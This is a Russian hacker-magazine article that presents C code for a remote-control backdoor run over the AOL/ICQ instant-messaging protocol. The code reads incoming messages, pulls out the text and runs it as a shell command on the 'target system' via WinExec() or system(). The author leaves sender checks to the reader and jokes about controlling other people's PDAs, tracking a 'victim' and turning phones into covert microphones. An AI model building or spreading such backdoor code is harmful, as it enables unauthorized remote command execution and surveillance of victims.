нагибаем AOL/MSN ВОЛЬФ ДАНИЯР AKA PAYHASH Спецвыпуск: Хакер, номер #063, стр. 063-108-3 mess=(char *)malloc(128, sizeof(char )); memset(buf, 0, 256); memset(mess, 0, 128); //memcpy(mess, messa, sizeof(messa)); memcpy(mess, "READY TO EXECUTE COMMAND", strlen("READY TO EXECUTE COMMAND")); encode_toc_send_im(buf, remscreenname, messa); i=0; i=ntohs(*((u_int16_t *)(buf+4))); if( send(sock, buf, i+6, 0) == -1 )else{…} … Теперь рассмотрим участок кода, который будет принимать входящие сообщения и выполнять их как cmd. … memset(buffer, 0, 2048); memset(remscreenname, 0, 16); if( recv(sock, buffer, 2048, 0) == -1 )else{ … } … /* Проверочка на наличие входящего сообщения: если сообщение имеет флаг IM_IN, значит, это то, что нам нужно. */ if( (*((u_int8_t *)(buffer+1)) == 0x02) && (!memcmp(buffer+6, "IM_IN", 5) ) ) { /* В теле условия отделяем ICQ-номер от служебной информации и текстового сообщения. */ screenlen = 0; address = (buffer+12); while(*address != '\x3A') { remscreenname[screenlen] = (*address); screenlen++; address++; } ХХХХХХХХ /* Также можно сделать проверку на ICQ-номер — небольшая защита от желающих поживится легкой добычей, оставляю ее на твою самодеятельность. */ … /* Отделяем чистое текстовое сообщение от служебной информации и ICQ-номера */ … address++; i=0; i=ntohs(*((u_int16_t *)(buf+4))); i=i-6-screenlen-1; memset(messaga, 0, 128); memcpy(messaga, address, i); … /* Переменная messaga теперь содержит cmd-команду, которая должна быть выполнена на целевой системе: либо через функцию system(), либо через функцию WinExec() — кому как удобно. Это будет выглядеть примерно так: */ WinExec(&messaga, (unsigned int)1); … а что же дальше? Кстати, обладатели КПК смогут легко написать клиент и для КПК-систем (Palm OS, Windows SE, etc), так как все примеры, которые я привожу, написаны на чистом С (инструментария для разработки программ под КПК сейчас полно). И затем владельцы КПК смогут контролировать чужие КПК ;) или, по крайней мере, всегда быть в курсе того, находится ли «жертва» в online. Думаю, у тебя не возникнет проблем в работе и с сотовыми телефонами, если твой изощренный ум способен выдавать хорошие подходы. Смысл идеи — спровоцировать вызов на свой номер и использовать телефон в качестве микрофона… Однако этот вопрос пока спорный и требует много времени, выпитого пива и обсуждений. пилите, шура! В начале весны 2005 года образовался проект ICQKID, в частности, посвященный проблеме RCIOIS. В простейшей вариации были реализованы DLL- и SO/A-модули как для win32-, так и для UNIX(FreeBSD)-систем. С помощью этих библиотек можно работать с ICQ-протоколом, используя простейшие функции этих библиотек. В ноябре 2005 года московский программист Александр Салиев (автор замечательных статей в Спец) написал вторую и третью версию библиотек ICQKID, усовершенствовав первую. Версии выложены на www.icqkid.com. Рассмотрим пример работы библиотеки на практике. Подозреваю, что примеры на С уже изрядно надоели всем и хочется попробовать кое-что попроще, например на Delphi :). (Сразу же поблагодарим за консультацию и помощь в области Delphi товарища INF — автора замечательного ICQ-клиента QIP - www.qip.ru.) |